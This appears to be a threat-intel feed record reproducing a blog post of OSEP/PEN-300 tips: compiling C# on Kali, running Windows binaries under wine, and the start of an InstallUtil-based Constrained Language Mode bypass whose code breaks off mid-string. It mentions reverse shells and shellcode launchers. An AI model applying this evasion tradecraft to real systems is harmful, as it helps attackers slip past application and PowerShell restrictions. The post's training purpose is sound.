intelligence_src_d4fd1855e77d84b256
- Source-provided label
- Publisher RSS metadata
- Evidence class
- mentioned in report
- Confidence
- Not reported
- Observed
- Nov 04, 2026 00:00 UTC
- Retrieved
- Dec 06, 2026 12:50 UTC
One of our team members recently took (and passed!) OffSec’s advanced penetration testing course & exam, PEN-300/OSEP. Whilst it focuses a lot on Microsoft Windows, there were a few extra places where Linux could be used to complete the same task… just quicker! Compiling C# code in Kali In general, what you need for compiling CSharp (C#) code in Kali is mono-devel : kali@kali:~$ sudo apt install mono-devel Now we need some code to compile. Here’s a very basic way of executing a program (process): using System; using System.Diagnostics; namespace Exec { class Program { static void Main() { Process proc = new Process(); ProcessStartInfo procInfo = new ProcessStartInfo("cmd.exe", "/T:09 /K systeminfo"); procInfo.CreateNoWindow = false; procInfo.UseShellExecute = false; proc.StartInfo = procInfo; proc.Start(); } } } If you would like some more examples to get you going, try a Shellcode Launcher or a Simple Reverse Shell. All that is left is to compile: kali@kali:~$ TERM=linux mcs -out:exec.exe exec.cs kali@kali:~$ kali@kali:~$ file exec.* exec.cs: C++ source, ASCII text exec.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections kali@kali:~$ How to run these binaries from Kali Linux Simple: just install wine and wine-mono. It’s really handy, as you can test your Windows binaries (even reverse shells) directly from Kali: kali@kali:~$ sudo dpkg --add-architecture i386 kali@kali:~$ sudo apt update [...] kali@kali:~$ sudo apt -y install wine32 [...] kali@kali:~$ # Install wine-mono kali@kali:~$ wget https://dl.winehq.org/wine/wine-mono/11.3.0/wine-mono-11.3.0-x86.msi [...] kali@kali:~$ kali@kali:~$ wine msiexec /i wine-mono-11.3.0-x86.msi [...] kali@kali:~$ And now, to run your freshly built .exe binary, just use: kali@kali:~$ wine exec.exe Constrained Language Mode Bypass It’s not always that easy — sometimes things get a bit trickier. For example, for compiling the Constrained Language Mode (CLM) bypass section, we need some DLL libraries from Microsoft: System.Management.Automation.dll and System.Configuration.Install.dll: Good news! Powershell Empire already includes them; you just have to install the package and run it so that it downloads all the required files for you: kali@kali:~$ sudo apt install powershell-empire [...] # Configure powershell-empire (downloads required DLL files for CSharp) kali@kali:~$ powershell-empire server [...] Let’s find the needed DLL(s): kali@kali:~$ sudo updatedb kali@kali:~$ locate System.Management.Automation.dll /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net35/System.Management.Automation.dll /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net40/System.Management.Automation.dll [...] kali@kali:~$ locate System.Configuration.Install.dll /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net35/System.Configuration.Install.dll /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net40/System.Configuration.Install.dll /home/kali/.local/share/empire/empire-compiler/EmpireCompiler-linux-x64-v1.0.0/EmpireCompiler/Data/AssemblyReferences/net45/System.Configuration.Install.dll Now we are ready to compile our CLM bypass: using System; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Configuration.Install; namespace Bypass { class Program { static void Main(string[] args) { Console.WriteLine("This is the main method which is a decoy"); } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { String cmd = "$ExecutionContext.Session
84a26055bc233a0407c4194fec201148ef06ab668c076b210b269f617f105d41Network indicators are visibly defanged. This page does not make them clickable or send them to another service.
No validated file hashes or network indicators are stored for this record.
This record contains metadata and attribution only. It does not host, download, unpack, render, or execute malware samples.
Sources represented on this page. Publication and observation dates describe the content; successful batch dates describe local collection. A recent batch does not certify complete coverage or current provider availability.
1 sources: 0 stale, 0 needing attention, 0 paused, 0 unverified.
Stale means older than twice the recorded collection interval, with a minimum of one hour; without an interval, the threshold is 24 hours. Cached content remains available while a feed is stale, paused, or unverified.